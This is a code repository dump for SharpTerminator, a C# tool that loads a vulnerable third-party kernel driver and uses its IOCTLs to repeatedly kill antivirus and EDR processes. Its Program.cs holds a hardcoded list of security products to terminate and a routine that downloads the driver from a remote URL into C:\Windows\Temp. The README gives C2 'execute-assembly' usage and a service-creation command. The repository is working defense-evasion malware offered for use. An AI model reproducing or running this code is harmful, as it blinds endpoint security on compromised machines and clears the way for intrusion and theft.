├── README.md ├── SharpTerminator.sln ├── SharpTerminator ├── App.config ├── Program.cs ├── Properties │ └── AssemblyInfo.cs ├── SharpTerminator.csproj └── obj │ ├── Debug │ ├── DesignTimeResolveAssemblyReferencesInput.cache │ └── SharpTerminator.csproj.AssemblyReference.cache │ └── Release │ ├── DesignTimeResolveAssemblyReferencesInput.cache │ ├── SharpTerminator.csproj.AssemblyReference.cache │ ├── SharpTerminator.csproj.CoreCompileInputs.cache │ ├── SharpTerminator.csproj.FileListAbsolute.txt │ ├── SharpTerminator.csproj.SuggestedBindingRedirects.cache │ ├── SharpTerminator.exe │ └── SharpTerminator.pdb ├── Vdriver └── Terminator.sys └── sharpterminator-url.PNG /README.md: -------------------------------------------------------------------------------- 1 | # SharpTerminator 2 | 3 | C# port of ZeroMemoryEx's Terminator, so all hail goes to him. 4 | 5 | # Usage 6 | 7 | You can download the driver from a remote URL using SharpTerminator and load it to terminate AV/EDR processes, or you can directly load it to the disk to perform the same operation. 8 | 9 | When using Remote URL, the driver is downloaded to "C:\Windows\Temp" and then loaded from there. 10 | 11 | In fact, there is no difference between them; if you don't want to use the upload function in your C2, you can use the other one. 12 | 13 | Loading from remote url: 14 | ``` 15 | execute-assembly SharpTerminator.exe --url "http://remoteurl.com:80/Terminator.sys" 16 | ``` 17 | Loading from disk: 18 | ``` 19 | execute-assembly SharpTerminator.exe --disk "C:\path\to\driver\Terminator.sys" 20 | ``` 21 | 22 | 23 | ### Download driver from remote url and terminate AV/EDR: 24 | 25 | ![sharpterminator-url](https://github.com/mertdas/SharpTerminator/assets/48562581/ded76930-780a-4ad0-bdf2-43f451be2e6c) 26 | 27 | 28 | ### Load driver from disk and terminate AV/EDR: 29 | 30 | ![sharpterminatsor-disk](https://github.com/mertdas/SharpTerminator/assets/48562581/ee37b11d-c803-48a9-ac97-0b0c17af1af7) 31 | 32 | # Known Issue 33 | If you get "Failed to register the process in the trusted list!" error you should add service manually:
34 | ``` 35 | sc create Terminator binPath= "C:\path\to\driver.sys" type= kernel start= demand 36 | ``` 37 | 38 | # Credit 39 | ZeroMemoryEx https://github.com/ZeroMemoryEx/Terminator
40 | Spyboy :) 41 | 42 | -------------------------------------------------------------------------------- /SharpTerminator.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 17 4 | VisualStudioVersion = 17.6.33723.286 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "SharpTerminator", "SharpTerminator\SharpTerminator.csproj", "{6634B45E-1BC1-4558-B9A7-34604E727DFA}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|Any CPU = Debug|Any CPU 11 | Release|Any CPU = Release|Any CPU 12 | EndGlobalSection 13 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 14 | {6634B45E-1BC1-4558-B9A7-34604E727DFA}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 15 | {6634B45E-1BC1-4558-B9A7-34604E727DFA}.Debug|Any CPU.Build.0 = Debug|Any CPU 16 | {6634B45E-1BC1-4558-B9A7-34604E727DFA}.Release|Any CPU.ActiveCfg = Release|Any CPU 17 | {6634B45E-1BC1-4558-B9A7-34604E727DFA}.Release|Any CPU.Build.0 = Release|Any CPU 18 | EndGlobalSection 19 | GlobalSection(SolutionProperties) = preSolution 20 | HideSolutionNode = FALSE 21 | EndGlobalSection 22 | GlobalSection(ExtensibilityGlobals) = postSolution 23 | SolutionGuid = {25A1497C-EA7D-46A8-B9D9-CF995991067F} 24 | EndGlobalSection 25 | EndGlobal 26 | -------------------------------------------------------------------------------- /SharpTerminator/App.config: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /SharpTerminator/Program.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Diagnostics; 3 | using System.IO; 4 | using System.Net; 5 | using System.Runtime.InteropServices; 6 | using System.Threading; 7 | 8 | class Program 9 | { 10 | const uint IOCTL_REGISTER_PROCESS = 0x80002010; 11 | const uint IOCTL_TERMINATE_PROCESS = 0x80002048; 12 | 13 | static readonly string[] edrList = { 14 | "activeconsole", "anti malware", "anti-malware", 15 | "antimalware", "anti virus", "anti-virus", 16 | "antivirus", "appsense", "authtap", 17 | "avast", "avecto", "canary", 18 | "carbonblack", "carbon black", "cb.exe", 19 | "ciscoamp", "cisco amp", "countercept", 20 | "countertack", "cramtray", "crssvc", 21 | "crowdstrike", "csagent", "csfalcon", 22 | "csshell", "cybereason", "cyclorama", 23 | "cylance", "cyoptics", "cyupdate", 24 | "cyvera", "cyserver", "cytray", 25 | "darktrace", "defendpoint", "defender", 26 | "eectrl", "elastic", "endgame", 27 | "f-secure", "forcepoint", "fireeye", 28 | "groundling", "GRRservic", "inspector", 29 | "ivanti", "kaspersky", "lacuna", 30 | "logrhythm", "malware", "mandiant", 31 | "mcafee", "morphisec", "msascuil", 32 | "msmpeng", "nissrv", "omni", 33 | "omniagent", "osquery", "palo alto networks", 34 | "pgeposervice", "pgsystemtray", "privilegeguard", 35 | "procwall", "protectorservic", "qradar", 36 | "redcloak", "secureworks", "securityhealthservice", 37 | "semlaunchsv", "sentinel", "sepliveupdat", 38 | "sisidsservice", "sisipsservice", "sisipsutil", 39 | "smc.exe", "smcgui", "snac64", 40 | "sophos", "splunk", "srtsp", 41 | "symantec", "symcorpu", "symefasi", 42 | "sysinternal", "sysmon", "tanium", 43 | "tda.exe", "tdawork", "tpython", 44 | "vectra", "wincollect", "windowssensor", 45 | "wireshark", "threat", "xagt.exe", 46 | "xagtnotif.exe", "mssense" 47 | }; 48 | 49 | static bool LoadDriver(string driverPath) 50 | { 51 | IntPtr hSCM = NativeMethods.OpenSCManager(null, null, NativeMethods.ServiceManagerAccess.SC_MANAGER_ALL_ACCESS); 52 | if (hSCM == IntPtr.Zero) 53 | return false; 54 | 55 | IntPtr hService = NativeMethods.OpenService(hSCM, "Terminator", NativeMethods.ServiceAccess.SERVICE_ALL_ACCESS); 56 | if (hService != IntPtr.Zero) 57 | { 58 | Console.WriteLine("Service already exists."); 59 | NativeMethods.CloseServiceHandle(hService); 60 | NativeMethods.CloseServiceHandle(hSCM); 61 | return true; 62 | } 63 | 64 | hService = NativeMethods.CreateService( 65 | hSCM, 66 | "Terminator", 67 | "Terminator", 68 | NativeMethods.ServiceAccess.SERVICE_ALL_ACCESS, 69 | NativeMethods.ServiceType.SERVICE_KERNEL_DRIVER, 70 | NativeMethods.ServiceStartType.SERVICE_DEMAND_START, 71 | NativeMethods.ServiceErrorControl.SERVICE_ERROR_IGNORE, 72 | driverPath, 73 | null, 74 | IntPtr.Zero, 75 | null, 76 | null, 77 | null); 78 | 79 | if (hService == IntPtr.Zero) 80 | { 81 | NativeMethods.CloseServiceHandle(hSCM); 82 | return false; 83 | } 84 | 85 | NativeMethods.CloseServiceHandle(hService); 86 | NativeMethods.CloseServiceHandle(hSCM); 87 | return true; 88 | } 89 | 90 | static bool LoadDriverFromUrl(string driverUrl) 91 | { 92 | WebClient webClient = new WebClient(); 93 | string driverFileName = Path.GetFileName(driverUrl); 94 | string driverPath = Path.Combine(@"C:\Windows\Temp", driverFileName); 95 | 96 | try 97 | { 98 | webClient.DownloadFile(driverUrl, driverPath); 99 | return LoadDriver(driverPath); 100 | } 101 | catch (Exception ex) 102 | { 103 | Console.WriteLine("Failed to download and load the driver: " + ex.Message); 104 | return false; 105 | } 106 | } 107 | 108 | 109 | static bool IsInEdrList(string processName) 110 | { 111 | string lowerProcessName = processName.ToLower(); 112 | for (int i = 0; i < edrList.Length; i++) 113 | { 114 | if (lowerProcessName.Contains(edrList[i])) 115 | return true; 116 | } 117 | return false; 118 | } 119 | 120 | static int CheckEDRProcesses(IntPtr hDevice) 121 | { 122 | uint procId = 0; 123 | uint pOutbuff = 0; 124 | int ecount = 0; 125 | NativeMethods.PROCESSENTRY32 pE = new NativeMethods.PROCESSENTRY32(); 126 | pE.dwSize = (uint)Marshal.SizeOf(typeof(NativeMethods.PROCESSENTRY32)); 127 | 128 | IntPtr hSnap = NativeMethods.CreateToolhelp32Snapshot(NativeMethods.SnapshotFlags.TH32CS_SNAPPROCESS, 0); 129 | 130 | if (hSnap != IntPtr.Zero) 131 | { 132 | if (NativeMethods.Process32First(hSnap, ref pE)) 133 | { 134 | do 135 | { 136 | string exeName = pE.szExeFile; 137 | if (IsInEdrList(exeName)) 138 | { 139 | procId = pE.th32ProcessID; 140 | if (!NativeMethods.DeviceIoControl(hDevice, IOCTL_TERMINATE_PROCESS, ref procId, 141 | sizeof(uint), IntPtr.Zero, 0, 142 | out _, IntPtr.Zero)) 143 | { 144 | Console.WriteLine("Failed to terminate {0}!!", exeName); 145 | } 146 | else 147 | { 148 | Console.WriteLine("Terminated {0}", exeName); 149 | ecount++; 150 | } 151 | } 152 | } while (NativeMethods.Process32Next(hSnap, ref pE)); 153 | } 154 | NativeMethods.CloseHandle(hSnap); 155 | } 156 | return ecount; 157 | } 158 | 159 | static bool StartService(string serviceName) 160 | { 161 | try 162 | { 163 | Process.Start("sc", $"start {serviceName}"); 164 | return true; 165 | } 166 | catch (Exception ex) 167 | { 168 | Console.WriteLine("Failed to start the service: " + ex.Message); 169 | return false; 170 | } 171 | } 172 | 173 | static void Main(string[] args) 174 | { 175 | if (args.Length < 2) 176 | { 177 | Console.WriteLine("Invalid arguments!"); 178 | Console.WriteLine("Usage: SharpTerminator.exe --url or SharpTerminator.exe --disk "); 179 | return; 180 | } 181 | 182 | string argType = args[0].ToLower(); 183 | string driverArg = args[1]; 184 | 185 | if (argType == "--url") 186 | { 187 | Console.WriteLine("Loading driver from URL: " + driverArg); 188 | if (!LoadDriverFromUrl(driverArg)) 189 | { 190 | Console.WriteLine("Failed to download and load the driver from URL."); 191 | return; 192 | } 193 | } 194 | else if (argType == "--disk") 195 | { 196 | Console.WriteLine("Loading driver from disk: " + driverArg); 197 | if (!LoadDriver(driverArg)) 198 | { 199 | Console.WriteLine("Failed to load the driver from disk."); 200 | return; 201 | } 202 | } 203 | else 204 | { 205 | Console.WriteLine("Invalid argument type!"); 206 | Console.WriteLine("Usage: SharpTerminator.exe --url or SharpTerminator.exe --disk "); 207 | return; 208 | } 209 | 210 | Console.WriteLine("Driver loaded successfully!"); 211 | 212 | int startServiceDelayMilliseconds = 2000; 213 | int registerProcessDelayMilliseconds = 3000; 214 | 215 | if (!StartService("Terminator")) 216 | { 217 | Console.WriteLine("Failed to start the service."); 218 | return; 219 | } 220 | 221 | Console.WriteLine("Service started successfully!"); 222 | 223 | Console.WriteLine("Waiting for {0} milliseconds after starting the service...", startServiceDelayMilliseconds); 224 | Thread.Sleep(startServiceDelayMilliseconds); 225 | 226 | IntPtr hDevice = NativeMethods.CreateFile( 227 | @"\\.\\ZemanaAntiMalware", 228 | NativeMethods.GenericAccess.GENERIC_WRITE | NativeMethods.GenericAccess.GENERIC_READ, 229 | NativeMethods.FileShare.FILE_SHARE_READ | NativeMethods.FileShare.FILE_SHARE_WRITE, 230 | IntPtr.Zero, 231 | NativeMethods.FileMode.OPEN_EXISTING, 232 | NativeMethods.FileFlagsAndAttributes.FILE_ATTRIBUTE_NORMAL, 233 | IntPtr.Zero); 234 | 235 | if (hDevice == IntPtr.Zero) 236 | { 237 | Console.WriteLine("Failed to open handle to driver!"); 238 | return; 239 | } 240 | 241 | Console.WriteLine("Waiting for {0} milliseconds after opening handle to driver...", startServiceDelayMilliseconds); 242 | Thread.Sleep(startServiceDelayMilliseconds); 243 | 244 | uint input = (uint)Process.GetCurrentProcess().Id; 245 | 246 | if (!NativeMethods.DeviceIoControl(hDevice, IOCTL_REGISTER_PROCESS, ref input, sizeof(uint), 247 | IntPtr.Zero, 0, out _, IntPtr.Zero)) 248 | { 249 | Console.WriteLine("Failed to register the process in the trusted list!"); 250 | return; 251 | } 252 | 253 | Console.WriteLine("Process registered in the trusted list!"); 254 | 255 | Console.WriteLine("Waiting for {0} milliseconds after registering the process...", registerProcessDelayMilliseconds); 256 | Thread.Sleep(registerProcessDelayMilliseconds); 257 | 258 | Console.WriteLine("Terminating ALL EDR/XDR/AVs .."); 259 | Console.WriteLine("Keep the program running to prevent Windows services from restarting them"); 260 | 261 | while (true) 262 | { 263 | int edrProcessCount = CheckEDRProcesses(hDevice); 264 | if (edrProcessCount == 0) 265 | Thread.Sleep(1200); 266 | else 267 | Thread.Sleep(700); 268 | } 269 | } 270 | class NativeMethods 271 | { 272 | public static readonly IntPtr INVALID_HANDLE_VALUE = new IntPtr(-1); 273 | 274 | [DllImport("advapi32.dll", CharSet = CharSet.Unicode, SetLastError = true)] 275 | public static extern IntPtr OpenSCManager( 276 | string machineName, 277 | string databaseName, 278 | ServiceManagerAccess desiredAccess); 279 | 280 | [DllImport("advapi32.dll", CharSet = CharSet.Unicode, SetLastError = true)] 281 | public static extern IntPtr OpenService( 282 | IntPtr hSCManager, 283 | string lpServiceName, 284 | ServiceAccess dwDesiredAccess); 285 | 286 | [DllImport("advapi32.dll", CharSet = CharSet.Unicode, SetLastError = true)] 287 | public static extern bool CloseServiceHandle(IntPtr hSCObject); 288 | 289 | [DllImport("advapi32.dll", CharSet = CharSet.Unicode, SetLastError = true)] 290 | public static extern IntPtr CreateService( 291 | IntPtr hSCManager, 292 | string lpServiceName, 293 | string lpDisplayName, 294 | ServiceAccess dwDesiredAccess, 295 | ServiceType dwServiceType, 296 | ServiceStartType dwStartType, 297 | ServiceErrorControl dwErrorControl, 298 | string lpBinaryPathName, 299 | string lpLoadOrderGroup, 300 | IntPtr lpdwTagId, 301 | string lpDependencies, 302 | string lpServiceStartName, 303 | string lpPassword); 304 | 305 | [DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)] 306 | public static extern IntPtr CreateFile( 307 | string lpFileName, 308 | GenericAccess dwDesiredAccess, 309 | FileShare dwShareMode, 310 | IntPtr lpSecurityAttributes, 311 | FileMode dwCreationDisposition, 312 | FileFlagsAndAttributes dwFlagsAndAttributes, 313 | IntPtr hTemplateFile); 314 | 315 | [DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)] 316 | public static extern bool DeviceIoControl( 317 | IntPtr hDevice, 318 | uint dwIoControlCode, 319 | ref uint lpInBuffer, 320 | int nInBufferSize, 321 | IntPtr lpOutBuffer, 322 | int nOutBufferSize, 323 | out int lpBytesReturned, 324 | IntPtr lpOverlapped); 325 | 326 | [DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)] 327 | public static extern IntPtr CreateToolhelp32Snapshot( 328 | SnapshotFlags dwFlags, 329 | uint th32ProcessID); 330 | 331 | [DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)] 332 | public static extern bool Process32First( 333 | IntPtr hSnapshot, 334 | ref PROCESSENTRY32 lppe); 335 | 336 | [DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)] 337 | public static extern bool Process32Next( 338 | IntPtr hSnapshot, 339 | ref PROCESSENTRY32 lppe); 340 | 341 | [DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)] 342 | public static extern bool CloseHandle( 343 | IntPtr hObject); 344 | 345 | [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] 346 | public struct PROCESSENTRY32 347 | { 348 | public uint dwSize; 349 | public uint cntUsage; 350 | public uint th32ProcessID; 351 | public IntPtr th32DefaultHeapID; 352 | public uint th32ModuleID; 353 | public uint cntThreads; 354 | public uint th32ParentProcessID; 355 | public int pcPriClassBase; 356 | public uint dwFlags; 357 | [MarshalAs(UnmanagedType.ByValTStr, SizeConst = 260)] 358 | public string szExeFile; 359 | } 360 | 361 | [Flags] 362 | public enum GenericAccess : uint 363 | { 364 | GENERIC_READ = 0x80000000, 365 | GENERIC_WRITE = 0x40000000 366 | } 367 | 368 | [Flags] 369 | public enum FileShare : uint 370 | { 371 | FILE_SHARE_READ = 0x1, 372 | FILE_SHARE_WRITE = 0x2, 373 | FILE_SHARE_DELETE = 0x4 374 | } 375 | 376 | public enum FileMode : uint 377 | { 378 | CREATE_NEW = 1, 379 | CREATE_ALWAYS = 2, 380 | OPEN_EXISTING = 3, 381 | OPEN_ALWAYS = 4, 382 | TRUNCATE_EXISTING = 5 383 | } 384 | 385 | [Flags] 386 | public enum FileFlagsAndAttributes : uint 387 | { 388 | FILE_ATTRIBUTE_NORMAL = 0x80, 389 | } 390 | 391 | [Flags] 392 | public enum SnapshotFlags : uint 393 | { 394 | TH32CS_SNAPPROCESS = 0x00000002 395 | } 396 | 397 | [Flags] 398 | public enum ServiceManagerAccess : uint 399 | { 400 | SC_MANAGER_ALL_ACCESS = 0xF003F 401 | } 402 | 403 | [Flags] 404 | public enum ServiceAccess : uint 405 | { 406 | SERVICE_ALL_ACCESS = 0xF01FF 407 | } 408 | 409 | public enum ServiceType : uint 410 | { 411 | SERVICE_KERNEL_DRIVER = 0x00000001, 412 | SERVICE_FILE_SYSTEM_DRIVER = 0x00000002 413 | } 414 | 415 | public enum ServiceStartType : uint 416 | { 417 | SERVICE_BOOT_START = 0x00000000, 418 | SERVICE_SYSTEM_START = 0x00000001, 419 | SERVICE_AUTO_START = 0x00000002, 420 | SERVICE_DEMAND_START = 0x00000003, 421 | SERVICE_DISABLED = 0x00000004 422 | } 423 | 424 | public enum ServiceErrorControl : uint 425 | { 426 | SERVICE_ERROR_IGNORE = 0x00000000, 427 | SERVICE_ERROR_NORMAL = 0x00000001, 428 | SERVICE_ERROR_SEVERE = 0x00000002, 429 | SERVICE_ERROR_CRITICAL = 0x00000003 430 | } 431 | 432 | public enum ServiceState : uint 433 | { 434 | SERVICE_STOPPED = 0x00000001, 435 | SERVICE_START_PENDING = 0x00000002, 436 | SERVICE_STOP_PENDING = 0x00000003, 437 | SERVICE_RUNNING = 0x00000004, 438 | SERVICE_CONTINUE_PENDING = 0x00000005, 439 | SERVICE_PAUSE_PENDING = 0x00000006, 440 | SERVICE_PAUSED = 0x00000007 441 | } 442 | } 443 | } 444 | -------------------------------------------------------------------------------- /SharpTerminator/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- 1 | using System.Reflection; 2 | using System.Runtime.CompilerServices; 3 | using System.Runtime.InteropServices; 4 | 5 | // General Information about an assembly is controlled through the following 6 | // set of attributes. Change these attribute values to modify the information 7 | // associated with an assembly. 8 | [assembly: AssemblyTitle("SharpTerminator")] 9 | [assembly: AssemblyDescription("")] 10 | [assembly: AssemblyConfiguration("")] 11 | [assembly: AssemblyCompany("")] 12 | [assembly: AssemblyProduct("SharpTerminator")] 13 | [assembly: AssemblyCopyright("Copyright © 2023")] 14 | [assembly: AssemblyTrademark("")] 15 | [assembly: AssemblyCulture("")] 16 | 17 | // Setting ComVisible to false makes the types in this assembly not visible 18 | // to COM components. If you need to access a type in this assembly from 19 | // COM, set the ComVisible attribute to true on that type. 20 | [assembly: ComVisible(false)] 21 | 22 | // The following GUID is for the ID of the typelib if this project is exposed to COM 23 | [assembly: Guid("6634b45e-1bc1-4558-b9a7-34604e727dfa")] 24 | 25 | // Version information for an assembly consists of the following four values: 26 | // 27 | // Major Version 28 | // Minor Version 29 | // Build Number 30 | // Revision 31 | // 32 | // You can specify all the values or you can default the Build and Revision Numbers 33 | // by using the '*' as shown below: 34 | // [assembly: AssemblyVersion("1.0.*")] 35 | [assembly: AssemblyVersion("1.0.0.0")] 36 | [assembly: AssemblyFileVersion("1.0.0.0")] 37 | -------------------------------------------------------------------------------- /SharpTerminator/SharpTerminator.csproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | Debug 6 | AnyCPU 7 | {6634B45E-1BC1-4558-B9A7-34604E727DFA} 8 | Exe 9 | SharpTerminator 10 | SharpTerminator 11 | v4.8 12 | 512 13 | true 14 | true 15 | 16 | 17 | AnyCPU 18 | true 19 | full 20 | false 21 | bin\Debug\ 22 | DEBUG;TRACE 23 | prompt 24 | 4 25 | 26 | 27 | AnyCPU 28 | pdbonly 29 | true 30 | bin\Release\ 31 | TRACE 32 | prompt 33 | 4 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | -------------------------------------------------------------------------------- /SharpTerminator/obj/Debug/DesignTimeResolveAssemblyReferencesInput.cache: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mertdas/SharpTerminator/a1a83cc16a382459f1a2e35e58714ed4820ba797/SharpTerminator/obj/Debug/DesignTimeResolveAssemblyReferencesInput.cache -------------------------------------------------------------------------------- /SharpTerminator/obj/Debug/SharpTerminator.csproj.AssemblyReference.cache: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mertdas/SharpTerminator/a1a83cc16a382459f1a2e35e58714ed4820ba797/SharpTerminator/obj/Debug/SharpTerminator.csproj.AssemblyReference.cache -------------------------------------------------------------------------------- /SharpTerminator/obj/Release/DesignTimeResolveAssemblyReferencesInput.cache: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mertdas/SharpTerminator/a1a83cc16a382459f1a2e35e58714ed4820ba797/SharpTerminator/obj/Release/DesignTimeResolveAssemblyReferencesInput.cache -------------------------------------------------------------------------------- /SharpTerminator/obj/Release/SharpTerminator.csproj.AssemblyReference.cache: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mertdas/SharpTerminator/a1a83cc16a382459f1a2e35e58714ed4820ba797/SharpTerminator/obj/Release/SharpTerminator.csproj.AssemblyReference.cache -------------------------------------------------------------------------------- /SharpTerminator/obj/Release/SharpTerminator.csproj.CoreCompileInputs.cache: -------------------------------------------------------------------------------- 1 | b1cac3c5db117414049b7ee1b7ead321fc446162 2 | -------------------------------------------------------------------------------- /SharpTerminator/obj/Release/SharpTerminator.csproj.FileListAbsolute.txt: -------------------------------------------------------------------------------- 1 | C:\Users\USer\source\repos\SharpTerminator\SharpTerminator\bin\Release\SharpTerminator.exe.config 2 | C:\Users\USer\source\repos\SharpTerminator\SharpTerminator\bin\Release\SharpTerminator.exe 3 | C:\Users\USer\source\repos\SharpTerminator\SharpTerminator\bin\Release\SharpTerminator.pdb 4 | C:\Users\USer\source\repos\SharpTerminator\SharpTerminator\obj\Release\SharpTerminator.csproj.AssemblyReference.cache 5 | C:\Users\USer\source\repos\SharpTerminator\SharpTerminator\obj\Release\SharpTerminator.csproj.SuggestedBindingRedirects.cache 6 | C:\Users\USer\source\repos\SharpTerminator\SharpTerminator\obj\Release\SharpTerminator.csproj.CoreCompileInputs.cache 7 | C:\Users\USer\source\repos\SharpTerminator\SharpTerminator\obj\Release\SharpTerminator.exe 8 | C:\Users\USer\source\repos\SharpTerminator\SharpTerminator\obj\Release\SharpTerminator.pdb 9 | -------------------------------------------------------------------------------- /SharpTerminator/obj/Release/SharpTerminator.csproj.SuggestedBindingRedirects.cache: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mertdas/SharpTerminator/a1a83cc16a382459f1a2e35e58714ed4820ba797/SharpTerminator/obj/Release/SharpTerminator.csproj.SuggestedBindingRedirects.cache -------------------------------------------------------------------------------- /SharpTerminator/obj/Release/SharpTerminator.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mertdas/SharpTerminator/a1a83cc16a382459f1a2e35e58714ed4820ba797/SharpTerminator/obj/Release/SharpTerminator.exe -------------------------------------------------------------------------------- /SharpTerminator/obj/Release/SharpTerminator.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mertdas/SharpTerminator/a1a83cc16a382459f1a2e35e58714ed4820ba797/SharpTerminator/obj/Release/SharpTerminator.pdb -------------------------------------------------------------------------------- /Vdriver/Terminator.sys: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mertdas/SharpTerminator/a1a83cc16a382459f1a2e35e58714ed4820ba797/Vdriver/Terminator.sys -------------------------------------------------------------------------------- /sharpterminator-url.PNG: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mertdas/SharpTerminator/a1a83cc16a382459f1a2e35e58714ed4820ba797/sharpterminator-url.PNG --------------------------------------------------------------------------------